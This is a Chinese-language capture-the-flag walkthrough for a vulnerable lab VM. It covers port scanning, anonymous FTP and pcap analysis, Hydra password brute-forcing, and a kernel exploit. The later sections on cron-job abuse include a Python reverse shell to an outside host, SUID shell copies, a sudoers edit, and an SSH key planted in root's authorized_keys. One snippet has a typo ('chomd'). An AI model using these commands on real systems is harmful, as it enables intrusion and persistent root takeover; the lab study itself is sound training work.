每天都要加油哦!
0x00 信息搜集
首先找到一下靶机的ip,并扫描端口。
靶机和kali都是桥接。
那么先看一下kali的ifconfig信息。

nmap -sn 192.168.0.0/24
因为我扫的太慢了。所以就仅扫描主机了.

11是kali。猜测10是靶机。扫描一下端口。

┌──(root㉿wxw)-[~]
└─# nmap 192.168.0.10 -sS -sV -A -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-25 03:01 CST
Nmap scan report for 192.168.0.10
Host is up (0.00076s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.0.21
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 09 2014 lol.pcap [NSE: writeable]
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Aggressive OS guesses: Linux 3.2 - 4.9 (97%), Linux 3.10 - 4.11 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Android 5.1 (94%), Linux 3.2 - 3.16 (94%), Sony Android TV (Android 5.0) (93%), Linux 3.13 (93%), Linux 3.16 (93%), Linux 4.8 (93%), Android 7.1.2 (Linux 3.4) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
应该就是这个。先看看http服务。

似乎没有什么信息。扫描一下目录吧。
dirsearch扫出来两个有用信息。

查看一下robots.txt,似乎没有什么有用信息。


又是一张图片。似乎也没什么用。
0x01 FTP和wireshark流量分析
看看ftp协议。我们从上面得到以下信息。

因为有匿名访问。登陆ftp 192.168.0.10。密码为空。

用get将流量文件下载下来

命令行输入wireshark lol.pcap。打开wireshark

因为是两个ip的对话。所以我们要看ftp协议。
最终一下tcp流。

翻译一下

这里枚举出了一个文件。Secret_stuff.txt文件。

同样追踪tcp流,得到以下信息。
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!
后来发现这是一个目录。
0x02
访问那个txt文件。可能是在某个目录下。或者只是一个诱惑而已。

访问sup3rs3cr3tdirlol目录
发现一个文件

是一个二进制文件。
用file命令查看一下。

是一个32位的可执行程序。
用exiftool查看一下它的简单信息

使用strings查看一下字符信息。

有两个有用信息。
这是一个文件夹

查看一下文件夹的内容。



它提示你有密码,不是文件名就是文件内容。
一个是账号,一个是密码。用九头蛇hydra暴力枚举!
一秒枚举出来密码

0x02 第一种内核提权
立刻登陆!

成功登陆
这是一个伪shell

安装了python。我们用python -c 'import pty; pty .spawn("/bin/bash")'
获得回显shell

提权进入tmp目录。
使用uname -a查看系统信息.
uname -a
命令用于显示有关系统内核和操作系统的详细信息。它返回一个包含以下内容的字符串:
内核名称:显示当前正在运行的内核的名称。
主机名:显示系统的主机名。
内核版本号:显示当前运行内核的版本号。
操作系统类型:显示操作系统的类型,例如Linux。
发行版信息:可能包括发行版名称、版本号和其他特定信息。

由上面的信息可以知道它是Ubuntu系统。
我们来搜索一下它的exp

有两个可以利用的exp
locate定位,然后把copy文件放到桌面,方便利用

打开文件,看看怎么用。

只需要gcc编译就行了。
在本机创建一个http服务。

注意一定要在tmp目录下。

成功内核提权

最终拿到flag
0x03 计划任务重写
第1种方法 python反弹shell
这个靶场比较特殊,每隔五分钟就会强迫你退出ssh,并且删除tmp目录的所有文件。猜测这可能是计划任务。一个脚本。
find / -name cronlog 2>/dev/null 查看计划任务日志信息。

查看这个cleaner.py文件在哪里。


查看这个文件的权限,发现是最高权限。
但是用vim不能编辑。
我们用nano编辑。编辑完ctrl x,再按y保存。
将python反弹shell的脚本,编写进cleaner.py里面。
#!/usr/bin/python
def con():
import socket, time,pty, os
host='10.211.55.19'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
过了几分钟,接收到反弹shell

第2种方法 创建root可执行程序,获得root权限
os.system('cp /bin/sh /tmp/dayu1') 把/bin/bash移动到tmp目录下。
os.system('chmod u+s /tmp/dayu1') 赋予最高权限
或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:
os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')
再python脚本里面写入
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh')
os.system('chomd u+s /tmp/sh')
except:
sys.exit()

第3种方法 RSA私钥登陆SSH
本机生成ssh钥对。将公钥放到/root/.ssh/authorized_keys目录下即可。

mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICf+uyOJDBJOZywRET3dFXHFJixzkAncha3eX4dZ0nJO root@wxw
" >> /root/.ssh/authorized_keys

可以直接登陆!
